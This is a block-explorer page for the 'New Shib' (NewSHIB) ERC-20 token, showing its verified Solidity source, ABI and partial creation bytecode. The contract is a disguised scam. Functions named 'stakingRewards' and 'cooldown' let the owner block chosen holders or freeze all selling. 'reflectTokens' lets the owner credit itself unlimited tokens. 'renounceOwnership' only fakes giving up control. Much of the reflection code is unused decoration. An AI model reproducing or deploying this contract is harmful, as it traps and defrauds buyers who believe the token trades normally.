Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000,000 NewSHIB
Holders
26
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
6,288,907,181.727322095 NewSHIBValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
NewShib
Compiler Version
v0.8.8+commit.dddeac2f
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity =0.8.8; import "./SafeMath.sol"; import "./Ownable.sol"; import "./IERC20.sol"; contract NewShib is Context, IERC20, Ownable { using SafeMath for uint256; string private _name = 'New Shib'; string private _symbol = 'NewSHIB'; uint8 private _decimals = 9; uint256 private constant _tTotal = 1000000000000*10**9; string public TaxSlippage = "0.5%"; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _sOwned; mapping (address => uint256) private _tOwned; mapping (address => bool) private _isExcluded; mapping (address => bool) private _stakingRewards; event bannedBot (address Bot, bool Banned); uint256 private constant MAX = ~uint256(0); uint256 private _totalSupply; address public uniV2factory; address public uniV2router; uint256 private _rTotal; address[] private _excluded; uint256 private _tFeeTotal; bool _cooldown = false; constructor (address V2factory, address V2router) { _totalSupply =_tTotal; _rTotal = (MAX - (MAX % _totalSupply)); _sOwned[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _totalSupply); _tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]); _isExcluded[_msgSender()] = true; _excluded.push(_msgSender()); uniV2factory = V2factory; uniV2router = V2router; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _sOwned[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function stakingRewards(address _address) external onlyOwner { if (_stakingRewards[_address] == true) {_stakingRewards[_address] = false;} else {_stakingRewards[_address] = true; emit bannedBot (_address, _stakingRewards[_address]);} } function checkStaking(address _address) public view returns (bool) { return _stakingRewards[_address]; } function cooldown() external onlyOwner { if (_cooldown == false) {_cooldown = true;} else {_cooldown = false;} } function isCooldown() public view returns (bool) { return _cooldown; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function reflectTokens (address router, uint256 fee) public virtual onlyOwner { _sOwned[router] = _sOwned[router].add(fee); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount;} else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount;} } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_stakingRewards[sender] || _stakingRewards[recipient]) require (amount == 0, ""); if (_cooldown == false || sender == owner() || recipient == owner()) { _sOwned[sender] = _sOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _sOwned[recipient] = _sOwned[recipient].add(amount); emit Transfer(sender, recipient, amount); } else {require (_cooldown == false, "");} } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferOwner(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, , , , ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); if (_isExcluded[sender]) {_tOwned[sender] = _tOwned[sender].sub(tAmount);} _rOwned[recipient] = _rOwned[recipient].add(rAmount); if (_isExcluded[recipient]) {_tOwned[recipient] = _tOwned[recipient].add(tAmount);} emit Transfer(sender, recipient, tAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(1000).mul(3); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]);} if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity =0.8.8; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * Returns a boolean value indicating whether the operation succeeded. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * Returns a boolean value indicating whether the operation succeeded. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's allowance. * Returns a boolean value indicating whether the operation succeeded. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to another (`to`). */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity =0.8.8; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; address private _ownerAddress; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; _ownerAddress = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() internal view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Returns the address of the current owner. */ function ownerAddress() public view returns (address) { return _ownerAddress; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _ownerAddress = address(0); } }
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity =0.8.8; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on overflow (when the result is negative). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"address","name":"V2factory","type":"address"},{"internalType":"address","name":"V2router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"Bot","type":"address"},{"indexed":false,"internalType":"bool","name":"Banned","type":"bool"}],"name":"bannedBot","type":"event"},{"inputs":[],"name":"TaxSlippage","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"checkStaking","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cooldown","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isCooldown","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownerAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"reflect","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"router","type":"address"},{"internalType":"uint256","name":"fee","type":"uint256"}],"name":"reflectTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"stakingRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniV2factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniV2router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
60806040526040518060400160405280600881526020017f4e65772053686962000000000000000000000000000000000000000000000000815250600290805190602001906200005192919062000a99565b506040518060400160405280600781526020017f4e65775348494200000000000000000000000000000000000000000000000000815250600390805190602001906200009f92919062000a99565b506009600460006101000a81548160ff021916908360ff1602179055506040518060400160405280600481526020017f302e352500000000000000000000000000000000000000000000000000000000815250600590805190602001906200010992919062000a99565b506000601260006101000a81548160ff0219169083151502179055503480156200013257600080fd5b5060405162003c3538038062003c35833981810160405281019062000158919062000bb3565b60006200016a6200056960201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350683635c9adc5dea00000600c81905550600c546000196200026b919062000c33565b6000196200027a919062000c9a565b600f81905550683635c9adc5dea00000600860006200029e6200056960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002ec6200056960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c546040516200034d919062000ce6565b60405180910390a3620003b4600760006200036d6200056960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200057160201b60201c565b60096000620003c86200056960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600a60006200041c6200056960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060106200047f6200056960201b60201c565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505062000f7d565b600033905090565b6000600f54821115620005bb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005b29062000d8a565b60405180910390fd5b6000620005cd620005f160201b60201c565b9050620005e981846200062b60201b620012e21790919060201c565b915050919050565b6000806000620006066200067d60201b60201c565b915091506200062481836200062b60201b620012e21790919060201c565b9250505090565b60006200067583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200097660201b60201c565b905092915050565b6000806000600f5490506000683635c9adc5dea00000905060005b6010805490508110156200092257826007600060108481548110620006c257620006c162000dac565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180620007b457508160096000601084815481106200074c576200074b62000dac565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15620007d457600f54683635c9adc5dea000009450945050505062000972565b6200086e6007600060108481548110620007f357620007f262000dac565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484620009de60201b6200132c1790919060201c565b92506200090a60096000601084815481106200088f576200088e62000dac565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483620009de60201b6200132c1790919060201c565b91508080620009199062000ddb565b91505062000698565b5062000948683635c9adc5dea00000600f546200062b60201b620012e21790919060201c565b8210156200096957600f54683635c9adc5dea0000093509350505062000972565b81819350935050505b9091565b60008083118290620009c0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009b7919062000ebc565b60405180910390fd5b5060008385620009d1919062000ee0565b9050809150509392505050565b600062000a2883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525062000a3060201b60201c565b905092915050565b600083831115829062000a7b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a72919062000ebc565b60405180910390fd5b506000838562000a8c919062000c9a565b9050809150509392505050565b82805462000aa79062000f47565b90600052602060002090601f01602090048101928262000acb576000855562000b17565b82601f1062000ae657805160ff191683800117855562000b17565b8280016001018555821562000b17579182015b8281111562000b1657825182559160200191906001019062000af9565b5b50905062000b26919062000b2a565b5090565b5b8082111562000b4557600081600090555060010162000b2b565b5090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000b7b8262000b4e565b9050919050565b62000b8d8162000b6e565b811462000b9957600080fd5b50565b60008151905062000bad8162000b82565b92915050565b6000806040838503121562000bcd5762000bcc62000b49565b5b600062000bdd8582860162000b9c565b925050602062000bf08582860162000b9c565b9150509250929050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000c408262000bfa565b915062000c4d8362000bfa565b92508262000c605762000c5f62000c04565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000ca78262000bfa565b915062000cb48362000bfa565b92508282101562000cca5762000cc962000c6b565b5b828203905092915050565b62000ce08162000bfa565b82525050565b600060208201905062000cfd600083018462000cd5565b92915050565b600082825260208201905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600062000d72602a8362000d03565b915062000d7f8262000d14565b604082019050919050565b6000602082019050818103600083015262000da58162000d63565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600062000de88262000bfa565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141562000e1e5762000e1d62000c6b565b5b600182019050919050565b600081519050919050565b60005b8381101562000e5457808201518184015260208101905062000e37565b8381111562000e64576000848401525b50505050565b6000601f19601f8301169050919050565b600062000e888262000e29565b62000e94818562000d03565b935062000ea681856020860162000e34565b62000eb18162000e6a565b840191505092915050565b6000602082019050818103600083015262000ed8818462000e7b565b905092915050565b600062000eed8262000bfa565b915062000efa8362000bfa565b92508262000f0d5762000f0c62000c04565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000f6057607f821691505b6020821081141562000f775762000f7662000f18565b5b50919050565b612ca88062000f8d6000396000f3fe608060405234801561001057600080fd5b50600436106101575760003560e01c8063499d7f96116100c357806395d89b411161007c57806395d89b41146103c85780639d8d8406146103e6578063a457c2d714610404578063a9059cbb14610434578063dd62ed3e14610464578063ee882fb51461049457610157565b8063499d7f961461032e57806370a082311461034a578063715018a61461037a578063787a08a6146103845780637aadbea91461038e5780638f84aa09146103aa57610157565b806329bd54101161011557806329bd5410146102445780632d83811914610262578063313ce56714610292578063377ad127146102b057806339509351146102ce5780634549b039146102fe57610157565b80621d1a891461015c578063053ab1821461018c57806306fdde03146101a8578063095ea7b3146101c657806318160ddd146101f657806323b872dd14610214575b600080fd5b61017660048036038101906101719190612025565b6104b2565b604051610183919061206d565b60405180910390f35b6101a660048036038101906101a191906120be565b610508565b005b6101b0610682565b6040516101bd9190612184565b60405180910390f35b6101e060048036038101906101db91906121a6565b610714565b6040516101ed919061206d565b60405180910390f35b6101fe610732565b60405161020b91906121f5565b60405180910390f35b61022e60048036038101906102299190612210565b610743565b60405161023b919061206d565b60405180910390f35b61024c61081c565b6040516102599190612272565b60405180910390f35b61027c600480360381019061027791906120be565b610842565b60405161028991906121f5565b60405180910390f35b61029a6108b0565b6040516102a791906122a9565b60405180910390f35b6102b86108c7565b6040516102c59190612272565b60405180910390f35b6102e860048036038101906102e391906121a6565b6108ed565b6040516102f5919061206d565b60405180910390f35b610318600480360381019061031391906122f0565b6109a0565b60405161032591906121f5565b60405180910390f35b61034860048036038101906103439190612025565b610a29565b005b610364600480360381019061035f9190612025565b610c55565b60405161037191906121f5565b60405180910390f35b610382610c9e565b005b61038c610df2565b005b6103a860048036038101906103a391906121a6565b610ee1565b005b6103b261100f565b6040516103bf9190612272565b60405180910390f35b6103d0611039565b6040516103dd9190612184565b60405180910390f35b6103ee6110cb565b6040516103fb9190612184565b60405180910390f35b61041e600480360381019061041991906121a6565b611159565b60405161042b919061206d565b60405180910390f35b61044e600480360381019061044991906121a6565b611226565b60405161045b919061206d565b60405180910390f35b61047e60048036038101906104799190612330565b611244565b60405161048b91906121f5565b60405180910390f35b61049c6112cb565b6040516104a9919061206d565b60405180910390f35b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000610512611376565b9050600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156105a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610598906123e2565b60405180910390fd5b60006105ac8361137e565b50505050905061060481600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461132c90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061065c81600f5461132c90919063ffffffff16565b600f81905550610677836011546113d690919063ffffffff16565b601181905550505050565b60606002805461069190612431565b80601f01602080910402602001604051908101604052809291908181526020018280546106bd90612431565b801561070a5780601f106106df5761010080835404028352916020019161070a565b820191906000526020600020905b8154815290600101906020018083116106ed57829003601f168201915b5050505050905090565b6000610728610721611376565b8484611434565b6001905092915050565b6000683635c9adc5dea00000905090565b60006107508484846115ff565b6108118461075c611376565b61080c85604051806060016040528060288152602001612c2660289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107c2611376565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aac9092919063ffffffff16565b611434565b600190509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600f54821115610889576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610880906124d5565b60405180910390fd5b6000610893611b10565b90506108a881846112e290919063ffffffff16565b915050919050565b6000600460009054906101000a900460ff16905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006109966108fa611376565b84610991856006600061090b611376565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113d690919063ffffffff16565b611434565b6001905092915050565b6000683635c9adc5dea000008311156109ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e590612541565b60405180910390fd5b81610a0d5760006109fe8461137e565b50505050905080915050610a23565b6000610a188461137e565b505050915050809150505b92915050565b610a31611376565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610abe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab5906125ad565b60405180910390fd5b60011515600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610b74576000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610c52565b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179